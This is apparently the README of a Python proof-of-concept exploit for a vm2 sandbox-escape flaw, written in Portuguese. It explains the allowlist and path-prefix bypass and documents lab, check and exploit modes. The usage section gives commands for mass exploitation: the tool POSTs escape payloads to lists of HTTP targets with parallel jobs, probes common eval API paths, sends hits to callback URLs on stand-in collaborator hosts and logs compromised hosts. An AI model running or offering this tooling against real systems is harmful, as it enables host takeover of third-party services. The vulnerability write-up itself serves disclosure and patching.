
PoC em Python para CVE-2026-100721: detecta e explora o bypass da allowlist externa do NodeVM no vm2 <3.12.2, alcançando escape do sandbox e RCE no host via laboratório local ou alvos HTTP em massa.
PoC em Python 3 para CVE-2026-100721 — vm2 (npm) anterior a 3.12.2 autorização incorreta no resolvedor de módulos externos do NodeVM, levando a escape de sandbox e execução de código no host quando JavaScript não confiável é executado dentro de um embedder mal configurado.
Página do PoC: https://pocbit.org/pocs/cve-2026-100721
vm2 é uma biblioteca Node.js amplamente utilizada para executar JavaScript não confiável dentro de uma sandbox no mesmo processo Node. Aplicações usam NodeVM com restrições como:
require.builtin — quais módulos principais o código convidado pode carregar (fs, child_process, …)require.external — uma allowlist de nomes de pacotes npm (por exemplo, apenas left-pad, lodash)require.resolve — resolvedor personalizado apontando para um diretório de plugins ou dependências controlado pelo hostcontext: 'host' — pacotes externos carregados via o require() real do host (comum por desempenho)Embedders típicos: plataformas de scripts de usuário, executores low-code, marketplaces de plugins, IDEs online, sandboxes de automação e microsserviços internos de "eval seguro".
CVE-2026-100721 é autorização incorreta (CWE-863) na forma como o vm2 decide se um require("nome-do-pacote") do convidado é permitido.
Duas falhas relacionadas foram corrigidas ao longo das versões do vm2 (mesma classe de bug — confusão de limite entre nome / caminho):
A pré-verificação da allowlist constrói um padrão a partir de entradas como left-pad, mas não impõe um limite completo do nome do pacote. O código convidado pode solicitar evil-left-pad porque a string contém left-pad. Se esse pacote em colisão existir em um caminho que o resolvedor personalizado consiga alcançar, o vm2 o carrega no contexto do host. O código do módulo de nível superior é executado antes do encapsulamento da sandbox → child_process, leitura de arquivos, segredos, etc.
lib/resolver-compat.js, corrigido em 3.12.2)Quando um resolvedor personalizado é usado com context: 'host', o vm2 registra diretórios permitidos usando uma expressão regular de prefixo sem um separador de caminho / limite final estrito. Um convidado pode depois usar require() com um caminho absoluto para um irmão não permitido (por exemplo, .../node_modules/foo2/index.js quando apenas foo estava na allowlist). O irmão passa por isPathAllowedForModule e é executado no processo do host.
Afetado: vm2 < 3.12.2 (CVE-2026-100721). Correções relacionadas de colisão de nomes também chegaram em 3.11.7.
Corrigido: Atualize para vm2 ≥ 3.12.2 (e mantenha-se atualizado).
| Métrica | Valor |
|---|---|
| CVSS 3.1 | 9.0 Crítico — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Crítico (Rapid7 / VulnCheck) |
| Auth | A cadeia de exploração geralmente começa após execução de código com baixo privilégio dentro da sandbox (PR:L no advisory) |
| Crédito | Tencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al. |
"RCE remoto com uma única requisição HTTP" não é universal. Cadeias práticas precisam de:
require.external + frequentemente um require.resolve personalizado.context: 'host' (ou carregamento equivalente no host) para externos.Quando esses fatores se alinham, o impacto é comprometimento total do Node do host — não apenas abuso da sandbox do convidado.
| Modo | Comportamento |
|---|---|
--lab | Exploit local autoritativo: lab/ instala vm2 3.11.5, constrói evil-left-pad, demonstra POCBIT-100721-HOST_EXEC (espelha o advisory do fornecedor) |
check | Fingerprint remoto do vm2 (package.json, lockfiles, bundles JS), versão < 3.12.2, --probe-exec opcional contra caminhos comuns de API de sandbox |
exploit | POST capaz de operar em massa de JS de sondagem de bypass de allowlist (evil-left-pad, nomes em colisão) para --exec-paths configuráveis; marca exploited ao encontrar o marcador na resposta ou na superfície da API de sandbox + --callback-url |
| Mass bulk | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
Campos JSONL do PoCbit: pocbit, pocbit_catalog, pocbit_page em cada linha.
CLI: banner PoCbit verde/magenta, coloração [EXPLOIT] / [SENT] / [FAIL] / [HIT] (--no-color para desativar).
Importante: O modo de exploit remoto tem como alvo executores de sandbox HTTP que você configurar. Para verificação pura da biblioteca, use python poc.py --lab (requer Node.js + npm).
pip install -r requirements.txt
| Componente | Finalidade |
|---|---|
| Python 3.9+ | Scanner / driver de massa |
| Node.js + npm | Apenas para --lab (recomendado para entender a CVE) |
cd CVE-2026-100721
python poc.py --lab
Esperado em vm2 vulnerável:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
Script convidado personalizado:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
Saídas:
cve_2026_100721_exploit.jsonl — JSON por alvoexploited.txt — alvos onde ocorreu marcador de escape, superfície de callback ou acerto na API de sandboxO driver sonda padrões comuns (substitua com --exec-paths):
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
Campos de corpo JSON testados: code, script, source, javascript, js, payload, … (substitua com --code-field).
O JS de exploit embutido percorre nomes de pacotes em colisão como evil-left-pad (PoC de bypass de allowlist). Em um embedder vulnerável que já hospeda o pacote em colisão:
require("evil-left-pad"); // host top-level code runs → sandbox escape
O lab/poc.js local implementa o cenário completo do advisory confiável com external: ['left-pad'], builtin: [] e resolve personalizado.